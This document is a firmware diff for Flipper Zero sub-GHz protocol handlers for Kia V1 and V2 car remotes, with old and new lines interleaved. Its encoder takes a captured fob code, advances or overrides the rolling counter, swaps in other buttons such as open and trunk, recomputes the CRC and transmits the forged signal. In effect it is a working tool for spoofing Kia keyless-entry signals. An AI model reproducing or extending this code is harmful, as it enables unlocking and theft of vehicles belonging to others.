const SubGhzProtocolDecoder subghz_protocol_kia_v1_decoder = {
|
||||
.alloc = subghz_protocol_decoder_kia_v1_alloc,
|
||||
.free = subghz_protocol_decoder_kia_v1_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_kia_v1_feed,
|
||||
.reset = subghz_protocol_decoder_kia_v1_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_kia_v1_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_kia_v1_serialize,
|
||||
.deserialize = subghz_protocol_decoder_kia_v1_deserialize,
|
||||
@@ -58,6 +65,7 @@ const SubGhzProtocolDecoder subghz_protocol_kia_v1_decoder = {
|
||||
const SubGhzProtocolEncoder subghz_protocol_kia_v1_encoder = {
|
||||
.alloc = subghz_protocol_encoder_kia_v1_alloc,
|
||||
.free = subghz_protocol_encoder_kia_v1_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_kia_v1_deserialize,
|
||||
.stop = subghz_protocol_encoder_kia_v1_stop,
|
||||
.yield = subghz_protocol_encoder_kia_v1_yield,
|
||||
@@ -66,31 +74,32 @@ const SubGhzProtocolEncoder subghz_protocol_kia_v1_encoder = {
|
||||
const SubGhzProtocol subghz_protocol_kia_v1 = {
|
||||
.name = SUBGHZ_PROTOCOL_KIA_V1_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_kia_v1_decoder,
|
||||
.encoder = &subghz_protocol_kia_v1_encoder,
|
||||
};
|
||||
|
||||
static void subghz_protocol_kia_v1_check_remote_controller(SubGhzProtocolDecoderKiaV1* instance);
|
||||
|
||||
static uint8_t kia_v1_crc4(const uint8_t* bytes, int count, uint8_t offset) {
|
||||
uint8_t crc = 0;
|
||||
|
||||
for(int i = 0; i < count; i++) {
|
||||
uint8_t b = bytes[i];
|
||||
crc ^= ((b & 0x0F) ^ (b >> 4));
|
||||
}
|
||||
|
||||
crc = (crc + offset) & 0x0F;
|
||||
return crc;
|
||||
}
|
||||
|
||||
|
||||
|
||||
static void subghz_protocol_kia_v1_check_remote_controller(SubGhzProtocolDecoderKiaV1* instance) {
|
||||
// Estrazione campi esattamente come ProtoP irate
|
||||
instance->generic.serial = instance->generic.data >> 24;
|
||||
instance->generic.btn = (instance->generic.data >> 16) & 0xFF;
|
||||
instance->generic.cnt = ((instance->generic.data >> 4) & 0xF) << 8 |
|
||||
instance->generic.cnt = ((instance->generic.data >> 4) & 0xF) << 8 |
|
||||
((instance->generic.data >> 8) & 0xFF);
|
||||
|
||||
uint8_t cnt_high = (instance->generic.cnt >> 8) & 0xF;
|
||||
@@ -101,53 +110,48 @@ static void subghz_protocol_kia_v1_check_remote_controller(SubGhzProtocolDecoder
|
||||
char_data[3] = instance->generic.serial & 0xFF;
|
||||
char_data[4] = instance->generic.btn;
|
||||
char_data[5] = instance->generic.cnt & 0xFF;
|
||||
|
||||
uint8_t crc;
|
||||
if(cnt_high == 0) {
|
||||
uint8_t offset = (instance->generic.cnt >= 0x098) ? instance->generic.btn : 1;
|
||||
crc = kia_v1_crc4(char_data, 6, offset);
|
||||
} else if(cnt_high >= 0x6) {
|
||||
char_data[6] = cnt_high;
|
||||
crc = kia_v1_crc4(char_data, 7, 1);
|
||||
} else {
|
||||
crc = kia_v1_crc4(char_data, 6, 1);
|
||||
}
|
||||
|
||||
instance->crc = cnt_high << 4 | crc;
|
||||
char_data[6] = cnt_high;
|
||||
uint8_t crc = kia_v1_crc4(char_data, 7, 1);
|
||||
|
||||
instance->crc = crc;
|
||||
instance->crc_check = (crc == (instance->generic.data & 0xF));
|
||||
|
||||
// Imposta bottoni custom
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(instance->generic.btn);
|
||||
}
|
||||
subghz_custom_btn_set_max(4);
|
||||
}
|
||||
|
||||
static const char* subghz_protocol_kia_v1_get_name_button(uint8_t btn) {
|
||||
const char* name;
|
||||
switch(btn) {
|
||||
case 0x1: return "Lock";
|
||||
case 0x2: return "Unlock";
|
||||
case 0x3: return "Trunk";
|
||||
case 0x4: return "Panic";
|
||||
default: return "Unknown";
|
||||
case 0x1:
|
||||
name = "Close";
|
||||
break;
|
||||
case 0x2:
|
||||
name = "Open";
|
||||
break;
|
||||
case 0x3:
|
||||
name = "Boot";
|
||||
break;
|
||||
default:
|
||||
name = "??";
|
||||
break;
|
||||
}
|
||||
return name;
|
||||
}
|
||||
|
||||
|
||||
|
||||
void* subghz_protocol_encoder_kia_v1_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderKiaV1* instance = malloc(sizeof(SubGhzProtocolEncoderKiaV1));
|
||||
|
||||
SubGhzProtocolEncoderKiaV1* instance = calloc(1, sizeof(SubGhzProtocolEncoderKiaV1));
|
||||
if(!instance) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
instance->base.protocol = &subghz_protocol_kia_v1;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
|
||||
instance->encoder.repeat = 10;
|
||||
instance->encoder.size_upload = 1200;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.size_upload = 0;
|
||||
instance->encoder.upload = NULL;
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0;
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
@@ -174,19 +178,19 @@ LevelDuration subghz_protocol_encoder_kia_v1_yield(void* context) {
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
// ENCODER GET_UPLOAD
|
||||
static void subghz_protocol_encoder_kia_v1_get_upload(SubGhzProtocolEncoderKiaV1* instance) {
|
||||
furi_assert(instance);
|
||||
if(instance->encoder.upload == NULL) return;
|
||||
size_t index = 0;
|
||||
LevelDuration* up = instance->encoder.upload;
|
||||
|
||||
// Calcolo CRC come ProtoP irate
|
||||
uint8_t cnt_high = (instance->generic.cnt >> 8) & 0xF;
|
||||
uint8_t char_data[7];
|
||||
char_data[0] = (instance->generic.serial >> 24) & 0xFF;
|
||||
@@ -195,160 +199,145 @@ static void subghz_protocol_encoder_kia_v1_get_upload(SubGhzProtocolEncoderKiaV1
|
||||
char_data[3] = instance->generic.serial & 0xFF;
|
||||
char_data[4] = instance->generic.btn;
|
||||
char_data[5] = instance->generic.cnt & 0xFF;
|
||||
|
||||
uint8_t crc;
|
||||
if(cnt_high == 0) {
|
||||
uint8_t offset = (instance->generic.cnt >= 0x098) ? instance->generic.btn : 1;
|
||||
crc = kia_v1_crc4(char_data, 6, offset);
|
||||
} else if(cnt_high >= 0x6) {
|
||||
char_data[6] = cnt_high;
|
||||
crc = kia_v1_crc4(char_data, 7, 1);
|
||||
} else {
|
||||
crc = kia_v1_crc4(char_data, 6, 1);
|
||||
}
|
||||
|
||||
// Costruisci data esattamente come ProtoP irate
|
||||
char_data[6] = cnt_high;
|
||||
uint8_t crc = kia_v1_crc4(char_data, 7, 1);
|
||||
|
||||
instance->generic.data = (uint64_t)instance->generic.serial << 24 |
|
||||
(uint64_t)instance->generic.btn << 16 |
|
||||
(uint64_t)(instance->generic.cnt & 0xFF) << 8 |
|
||||
(uint64_t)((instance->generic.cnt >> 8) & 0xF) << 4 |
|
||||
crc;
|
||||
instance->generic.btn << 16 | (instance->generic.cnt & 0xFF) << 8 |
|
||||
((instance->generic.cnt >> 8) & 0xF) << 4 | crc;
|
||||
|
||||
const uint32_t te_short = (uint32_t)subghz_protocol_kia_v1_const.te_short;
|
||||
const uint32_t te_long = (uint32_t)subghz_protocol_kia_v1_const.te_long;
|
||||
|
||||
// 3 burst come ProtoP irate
|
||||
for(uint8_t burst = 0; burst < KIA_V1_TOTAL_BURSTS; burst++) {
|
||||
// Gap tra burst
|
||||
if(burst > 0) {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, KIA_V1_INTER_BURST_GAP_US);
|
||||
up[index++] = level_duration_make(false, KIA_V1_INTER_BURST_GAP_US);
|
||||
}
|
||||
|
||||
// 90 header pulses: LOW-HIGH con te_long
|
||||
for(int i = 0; i < KIA_V1_HEADER_PULSES; i++) {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_kia_v1_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_kia_v1_const.te_long);
|
||||
up[index++] = level_duration_make(false, te_long);
|
||||
up[index++] = level_duration_make(true, te_long);
|
||||
}
|
||||
|
||||
// SHORT_LOW prima dei dati
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_kia_v1_const.te_short);
|
||||
up[index++] = level_duration_make(false, te_short);
|
||||
|
||||
// Manchester encoding dei dati
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
|
||||
if(bit_read(instance->generic.data, i - 2)) {
|
||||
// Bit 1: HIGH-LOW
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_kia_v1_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_kia_v1_const.te_short);
|
||||
} else {
|
||||
// Bit 0: LOW-HIGH
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_kia_v1_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_kia_v1_const.te_short);
|
||||
}
|
||||
bool bit = bit_read(instance->generic.data, i - 2);
|
||||
up[index++] = level_duration_make(bit, te_short);
|
||||
up[index++] = level_duration_make(!bit, te_short);
|
||||
}
|
||||
}
|
||||
|
||||
instance->encoder.size_upload = index;
|
||||
instance->encoder.front = 0;
|
||||
|
||||
FURI_LOG_I(TAG, "Upload built: size=%zu, data=0x%014llX", index, instance->generic.data);
|
||||
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"Upload built: %d bursts, size_upload=%zu, data_count_bit=%u, data=0x%016llX",
|
||||
KIA_V1_TOTAL_BURSTS,
|
||||
instance->encoder.size_upload,
|
||||
instance->generic.data_count_bit,
|
||||
instance->generic.data);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_encoder_kia_v1_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_kia_v1_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV1* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
FURI_LOG_E(TAG, "Deserialize failed");
|
||||
FURI_LOG_E(TAG, "Missing or wrong Protocol");
|
||||
break;
|
||||
}
|
||||
|
||||
// Imposta data_count_bit
|
||||
|
||||
instance->generic.data_count_bit = subghz_protocol_kia_v1_const.min_count_bit_for_found;
|
||||
|
||||
// Estrai serial, btn, cnt dalla data (come ProtoP irate)
|
||||
|
||||
if(instance->generic.data == 0) break;
|
||||
|
||||
instance->generic.serial = instance->generic.data >> 24;
|
||||
instance->generic.btn = (instance->generic.data >> 16) & 0xFF;
|
||||
instance->generic.cnt = ((instance->generic.data >> 4) & 0xF) << 8 |
|
||||
instance->generic.cnt = ((instance->generic.data >> 4) & 0xF) << 8 |
|
||||
((instance->generic.data >> 8) & 0xFF);
|
||||
|
||||
FURI_LOG_I(TAG, "Deserialized: data=%014llX, serial=%08lX, btn=%02X, cnt=%03lX",
|
||||
instance->generic.data, instance->generic.serial,
|
||||
instance->generic.btn, instance->generic.cnt);
|
||||
|
||||
// Imposta bottone originale per custom buttons
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(instance->generic.btn);
|
||||
|
||||
instance->encoder.repeat = 10;
|
||||
|
||||
if(instance->encoder.upload == NULL) {
|
||||
instance->encoder.size_upload = KIA_V1_UPLOAD_CAPACITY;
|
||||
instance->encoder.upload =
|
||||
malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
}
|
||||
subghz_custom_btn_set_max(4);
|
||||
|
||||
uint32_t override_cnt = 0;
|
||||
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
|
||||
instance->generic.cnt = override_cnt & 0xFFF;
|
||||
} else if(instance->generic.cnt < 0xFFF) {
|
||||
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
|
||||
if(instance->generic.cnt > 0xFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
}
|
||||
} else {
|
||||
instance->generic.cnt = 0;
|
||||
}
|
||||
|
||||
// Gestione bottoni custom
|
||||
uint8_t btn = subghz_custom_btn_get();
|
||||
if(subghz_block_generic_global_button_override_get(&btn)) {
|
||||
instance->generic.btn = btn;
|
||||
} else if(btn != SUBGHZ_CUSTOM_BTN_OK) {
|
||||
instance->generic.btn = btn;
|
||||
}
|
||||
|
||||
// Costruisci upload
|
||||
subghz_protocol_encoder_kia_v1_get_upload(instance);
|
||||
|
||||
// Aggiorna file con nuova key
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
|
||||
uint8_t key_data[sizeof(uint64_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
|
||||
}
|
||||
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
|
||||
FURI_LOG_E(TAG, "Unable to update Key");
|
||||
ret = SubGhzProtocolStatusErrorParserKey;
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t temp_btn = instance->generic.btn;
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp_btn, 1);
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &instance->generic.cnt, 1);
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"Encoder deserialized: repeat=%u, size_upload=%zu, is_running=%d, front=%zu",
|
||||
instance->encoder.repeat,
|
||||
instance->encoder.size_upload,
|
||||
instance->encoder.is_running,
|
||||
instance->encoder.front);
|
||||
|
||||
ret = SubGhzProtocolStatusOk;
|
||||
|
||||
} while(false);
|
||||
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_kia_v1_set_button(void* context, uint8_t button) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV1* instance = context;
|
||||
instance->generic.btn = button & 0xFF;
|
||||
subghz_protocol_encoder_kia_v1_get_upload(instance);
|
||||
FURI_LOG_I(TAG, "Button set to 0x%02X, upload rebuilt with new CRC", instance->generic.btn);
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_kia_v1_set_counter(void* context, uint16_t counter) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV1* instance = context;
|
||||
instance->generic.cnt = counter & 0xFFF;
|
||||
subghz_protocol_encoder_kia_v1_get_upload(instance);
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"Counter set to 0x%03X, upload rebuilt with new CRC",
|
||||
(uint16_t)instance->generic.cnt);
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_kia_v1_increment_counter(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV1* instance = context;
|
||||
instance->generic.cnt = (instance->generic.cnt + 1) & 0xFFF;
|
||||
subghz_protocol_encoder_kia_v1_get_upload(instance);
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"Counter incremented to 0x%03X, upload rebuilt with new CRC",
|
||||
(uint16_t)instance->generic.cnt);
|
||||
}
|
||||
|
||||
uint16_t subghz_protocol_encoder_kia_v1_get_counter(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV1* instance = context;
|
||||
return instance->generic.cnt;
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_encoder_kia_v1_get_button(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV1* instance = context;
|
||||
return instance->generic.btn;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_kia_v1_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderKiaV1* instance = malloc(sizeof(SubGhzProtocolDecoderKiaV1));
|
||||
SubGhzProtocolDecoderKiaV1* instance = calloc(1, sizeof(SubGhzProtocolDecoderKiaV1));
|
||||
if(!instance) {
|
||||
return NULL;
|
||||
}
|
||||
instance->base.protocol = &subghz_protocol_kia_v1;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
@@ -366,7 +355,6 @@ void subghz_protocol_decoder_kia_v1_reset(void* context) {
|
||||
instance->decoder.parser_step = KiaV1DecoderStepReset;
|
||||
}
|
||||
|
||||
// FEED
|
||||
void subghz_protocol_decoder_kia_v1_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderKiaV1* instance = context;
|
||||
@@ -424,7 +412,6 @@ void subghz_protocol_decoder_kia_v1_feed(void* context, bool level, uint32_t dur
|
||||
subghz_protocol_kia_v1_const.te_delta)) {
|
||||
event = level ? ManchesterEventLongLow : ManchesterEventLongHigh;
|
||||
} else {
|
||||
// Durata non valida - reset completo
|
||||
instance->decoder.parser_step = KiaV1DecoderStepReset;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
@@ -441,8 +428,7 @@ void subghz_protocol_decoder_kia_v1_feed(void* context, bool level, uint32_t dur
|
||||
}
|
||||
}
|
||||
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_kia_v1_const.min_count_bit_for_found) {
|
||||
if(instance->decoder.decode_count_bit == subghz_protocol_kia_v1_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
if(instance->base.callback)
|
||||
@@ -469,12 +455,17 @@ SubGhzProtocolStatus subghz_protocol_decoder_kia_v1_serialize(
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderKiaV1* instance = context;
|
||||
|
||||
subghz_protocol_kia_v1_check_remote_controller(instance);
|
||||
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_kia_v1_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_kia_v1_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderKiaV1* instance = context;
|
||||
flipper_format_rewind(flipper_format);
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_kia_v1_const.min_count_bit_for_found);
|
||||
}
|
||||
@@ -484,7 +475,6 @@ void subghz_protocol_decoder_kia_v1_get_string(void* context, FuriString* output
|
||||
SubGhzProtocolDecoderKiaV1* instance = context;
|
||||
|
||||
subghz_protocol_kia_v1_check_remote_controller(instance);
|
||||
|
||||
uint32_t code_found_hi = instance->generic.data >> 32;
|
||||
uint32_t code_found_lo = instance->generic.data & 0xFFFFFFFF;
|
||||
|
||||
@@ -492,17 +482,17 @@ void subghz_protocol_decoder_kia_v1_get_string(void* context, FuriString* output
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%06lX%08lX\r\n"
|
||||
"Sn:%08lX Cnt:%03lX\r\n"
|
||||
"Btn:%02X:[%s]\r\n"
|
||||
"CRC:%02X %s\r\n",
|
||||
"Serial:%08lX\r\n"
|
||||
"Cnt:%03lX CRC:%01X %s\r\n"
|
||||
"Btn:%02X:%s\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
code_found_hi,
|
||||
code_found_lo,
|
||||
instance->generic.serial,
|
||||
instance->generic.cnt,
|
||||
instance->generic.btn,
|
||||
subghz_protocol_kia_v1_get_name_button(instance->generic.btn),
|
||||
instance->crc,
|
||||
instance->crc_check ? "(OK)" : "(FAIL)");
|
||||
instance->crc_check ? "OK" : "WRONG",
|
||||
instance->generic.btn,
|
||||
subghz_protocol_kia_v1_get_name_button(instance->generic.btn));
|
||||
}
|
||||
|
||||
@@ -6,14 +6,15 @@
|
||||
#include "../blocks/generic.h"
|
||||
#include "../blocks/math.h"
|
||||
#include "../blocks/custom_btn_i.h"
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
#include <lib/toolbox/manchester_encoder.h>
|
||||
#include <furi_hal_subghz.h>
|
||||
#include <furi.h>
|
||||
|
||||
#define TAG "SubGhzProtocolKiaV2"
|
||||
#define TAG "KiaV2"
|
||||
|
||||
#define KIA_V2_HEADER_PAIRS 252
|
||||
#define KIA_V2_TOTAL_BURSTS 2
|
||||
#define KIA_V2_UPLOAD_CAPACITY \
|
||||
(KIA_V2_TOTAL_BURSTS * ((KIA_V2_HEADER_PAIRS * 2) + 1 + ((53U - 1U) * 2)))
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_kia_v2_const = {
|
||||
.te_short = 500,
|
||||
@@ -27,6 +28,7 @@ struct SubGhzProtocolDecoderKiaV2 {
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
uint16_t header_count;
|
||||
|
||||
ManchesterState manchester_state;
|
||||
};
|
||||
|
||||
@@ -64,8 +66,8 @@ const SubGhzProtocolEncoder subghz_protocol_kia_v2_encoder = {
|
||||
const SubGhzProtocol subghz_protocol_kia_v2 = {
|
||||
.name = SUBGHZ_PROTOCOL_KIA_V2_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
SubGhzProtocolFlag_Send,
|
||||
.decoder = &subghz_protocol_kia_v2_decoder,
|
||||
.encoder = &subghz_protocol_kia_v2_encoder,
|
||||
@@ -90,71 +92,61 @@ static uint8_t kia_v2_calculate_crc(uint64_t data) {
|
||||
return (crc + 1) & 0x0F;
|
||||
}
|
||||
|
||||
static void subghz_protocol_kia_v2_check_remote_controller(SubGhzProtocolDecoderKiaV2* instance) {
|
||||
instance->generic.serial = (uint32_t)((instance->generic.data >> 20) & 0xFFFFFFFF);
|
||||
instance->generic.btn = (uint8_t)((instance->generic.data >> 16) & 0x0F);
|
||||
|
||||
uint16_t raw_count = (uint16_t)((instance->generic.data >> 4) & 0xFFF);
|
||||
instance->generic.cnt = ((raw_count >> 4) | (raw_count << 8)) & 0xFFF;
|
||||
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(instance->generic.btn);
|
||||
}
|
||||
subghz_custom_btn_set_max(4);
|
||||
}
|
||||
|
||||
static void subghz_protocol_encoder_kia_v2_get_upload(SubGhzProtocolEncoderKiaV2* instance) {
|
||||
furi_assert(instance);
|
||||
if(instance->encoder.upload == NULL) return;
|
||||
size_t index = 0;
|
||||
|
||||
LevelDuration* up = instance->encoder.upload;
|
||||
|
||||
const uint32_t te_short = (uint32_t)subghz_protocol_kia_v2_const.te_short;
|
||||
const uint32_t te_long = (uint32_t)subghz_protocol_kia_v2_const.te_long;
|
||||
|
||||
uint8_t crc = kia_v2_calculate_crc(instance->generic.data);
|
||||
instance->generic.data = (instance->generic.data & ~0x0FULL) | crc;
|
||||
|
||||
|
||||
for(uint8_t burst = 0; burst < KIA_V2_TOTAL_BURSTS; burst++) {
|
||||
for(int i = 0; i < KIA_V2_HEADER_PAIRS; i++) {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_kia_v2_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_kia_v2_const.te_long);
|
||||
up[index++] = level_duration_make(false, te_long);
|
||||
up[index++] = level_duration_make(true, te_long);
|
||||
}
|
||||
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_kia_v2_const.te_short);
|
||||
|
||||
up[index++] = level_duration_make(false, te_short);
|
||||
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
|
||||
bool bit = bit_read(instance->generic.data, i - 2);
|
||||
|
||||
if(bit) {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_kia_v2_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_kia_v2_const.te_short);
|
||||
} else {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_kia_v2_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_kia_v2_const.te_short);
|
||||
}
|
||||
up[index++] = level_duration_make(bit, te_short);
|
||||
up[index++] = level_duration_make(!bit, te_short);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
instance->encoder.size_upload = index;
|
||||
instance->encoder.front = 0;
|
||||
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"Upload built: %d bursts, size_upload=%zu, data_count_bit=%u, data=0x%016llX",
|
||||
KIA_V2_TOTAL_BURSTS,
|
||||
instance->encoder.size_upload,
|
||||
instance->generic.data_count_bit,
|
||||
instance->generic.data);
|
||||
}
|
||||
|
||||
void* subghz_protocol_encoder_kia_v2_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderKiaV2* instance = malloc(sizeof(SubGhzProtocolEncoderKiaV2));
|
||||
|
||||
SubGhzProtocolEncoderKiaV2* instance = calloc(1, sizeof(SubGhzProtocolEncoderKiaV2));
|
||||
if(!instance) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
instance->base.protocol = &subghz_protocol_kia_v2;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
|
||||
instance->encoder.repeat = 10;
|
||||
instance->encoder.size_upload = 1300;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.size_upload = 0;
|
||||
instance->encoder.upload = NULL;
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0;
|
||||
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
@@ -174,113 +166,102 @@ void subghz_protocol_encoder_kia_v2_stop(void* context) {
|
||||
LevelDuration subghz_protocol_encoder_kia_v2_yield(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV2* instance = context;
|
||||
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_encoder_kia_v2_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_kia_v2_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV2* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
FURI_LOG_E(TAG, "Missing or wrong Protocol");
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
instance->generic.data_count_bit = subghz_protocol_kia_v2_const.min_count_bit_for_found;
|
||||
|
||||
|
||||
if(instance->generic.data == 0) break;
|
||||
|
